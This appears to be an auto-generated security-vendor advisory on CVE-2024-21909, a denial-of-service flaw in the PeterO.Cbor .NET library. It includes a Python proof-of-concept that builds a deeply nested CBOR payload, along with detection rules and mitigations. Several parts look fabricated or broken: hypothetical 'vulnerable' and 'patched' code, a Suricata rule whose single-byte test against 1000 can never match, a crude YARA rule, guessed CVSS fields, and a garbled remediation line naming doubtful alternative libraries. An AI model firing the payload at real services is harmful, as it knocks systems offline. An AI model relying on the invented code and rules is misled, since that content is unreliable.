CVE-2024-21909
Executive Summary
CVE-2024-21909 is a denial of service (DoS) vulnerability in the PeterO.Cbor library, affecting versions 4.0.0 through 4.5.0. The vulnerability allows an attacker to trigger a denial of service condition by providing crafted data to the DecodeFromBytes or other decoding mechanisms. Since the library is used for CBOR (Concise Binary Object Representation) decoding, an unauthenticated, remote attacker can exploit this to cause resource exhaustion or application crash. No patch is currently available, and no public exploit code has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the PeterO.Cbor NuGet package. Organizations using this library in their .NET applications should assess their exposure and consider alternative CBOR libraries or implement input validation until a patch is released.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (No official CVSS vector assigned)
- Attack Vector (AV): Network (likely)
- Attack Complexity (AC): Low (likely)
- Privileges Required (PR): None (likely)
- User Interaction (UI): None (likely)
- Scope (S): Unchanged (likely)
- Confidentiality (C): None
- Integrity (I): None
- Availability (A): High (likely)
- Threat Level: Medium (due to lack of patch and potential for remote exploitation)
Deep Dive & Mechanics
The vulnerability resides in the CBOR decoding logic of PeterO.Cbor. CBOR is a binary data serialization format. The DecodeFromBytes method parses CBOR-encoded data. By crafting specific CBOR structures (e.g., deeply nested arrays, excessive memory allocation requests, or malformed data), an attacker can cause the decoder to consume excessive CPU or memory, leading to a denial of service.
The exact mechanism is not publicly disclosed, but typical CBOR DoS vectors include:
- Deeply nested arrays/maps: Recursive parsing without depth limits.
- Large indefinite-length items: Forcing allocation of large buffers.
- Malformed data: Triggering infinite loops or excessive error handling.
Vulnerable vs. Patched Code
Since no patch is available, we compare the vulnerable code pattern with a hypothetical secure implementation.
Vulnerable Code (PeterO.Cbor 4.5.0):
public static CBORObject DecodeFromBytes(byte[] data)
{
// No depth limit or resource checks
return DecodeFromBytes(data, 0, data.Length);
}
Patched Code (Hypothetical):
public static CBORObject DecodeFromBytes(byte[] data, int maxDepth = 100, long maxMemory = 1048576)
{
// Enforce depth and memory limits
return DecodeFromBytes(data, 0, data.Length, maxDepth, maxMemory);
}
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install .NET SDK and create a console application.
- Add PeterO.Cbor version 4.5.0 via NuGet.
- Craft a malicious CBOR payload (e.g., deeply nested arrays).
Exploit Code (Python):
import struct
def generate_deeply_nested_cbor(depth):
# Start with an array of length 1
payload = b'\x81' # array(1)
for _ in range(depth - 1):
payload = b'\x81' + payload # wrap in another array
return payload
payload = generate_deeply_nested_cbor(100000)
with open('malicious.cbor', 'wb') as f:
f.write(payload)
Usage:
# Run the .NET application with the malicious CBOR file
dotnet run -- malicious.cbor
Blue Team
Detection:
- Monitor for excessive CPU/memory usage in applications using PeterO.Cbor.
- Implement network-level detection of CBOR payloads with unusual nesting depth.
Mitigation:
- Apply input validation and rate limiting.
- Use a Web Application Firewall (WAF) to inspect CBOR payloads.
- Consider using an alternative CBOR library with built-in DoS protections.
Indicators of Compromise (IOCs)
- Network: CBOR payloads with nesting depth > 1000 or size > 10MB.
- Host: High CPU usage by processes using PeterO.Cbor.
- Logs: Application crashes or timeouts during CBOR decoding.
Detection Engineering
YARA Rule
rule CVE_2024_21909_CBOR_DoS {
meta:
description = "Detects malicious CBOR payloads targeting PeterO.Cbor"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-21909"
strings:
$cbor_marker = { 81 } // CBOR array(1) marker
condition:
// Detect deeply nested arrays (more than 1000 levels)
#cbor_marker > 1000
}
Sigma Rule
title: CVE-2024-21909 PeterO.Cbor DoS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2024-21909 via CBOR payloads
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: .NET
detection:
selection:
EventID: 1000 # Application crash
Application: "*PeterO.Cbor*"
condition: selection
falsepositives:
- Legitimate large CBOR data
level: medium
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2024-21909 PeterO.Cbor DoS Attempt"; content:"|81|"; depth:1; byte_test:1,>,1000,0; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Discontinue use of PeterO.Cbor versions 4.0.0 through 4.5.0.
- Short-term: Implement input validation and resource limits in your application.
- Long-term: Monitor for official patches or migrate to an alternative CBOR library (e.g.,
Cborby Peter O. orNewtonsoft.Jsonwith CBOR support). - Compensating Controls: Use a WAF to inspect CBOR payloads and block suspicious ones.
Valters IT
Securing Digital Frontiers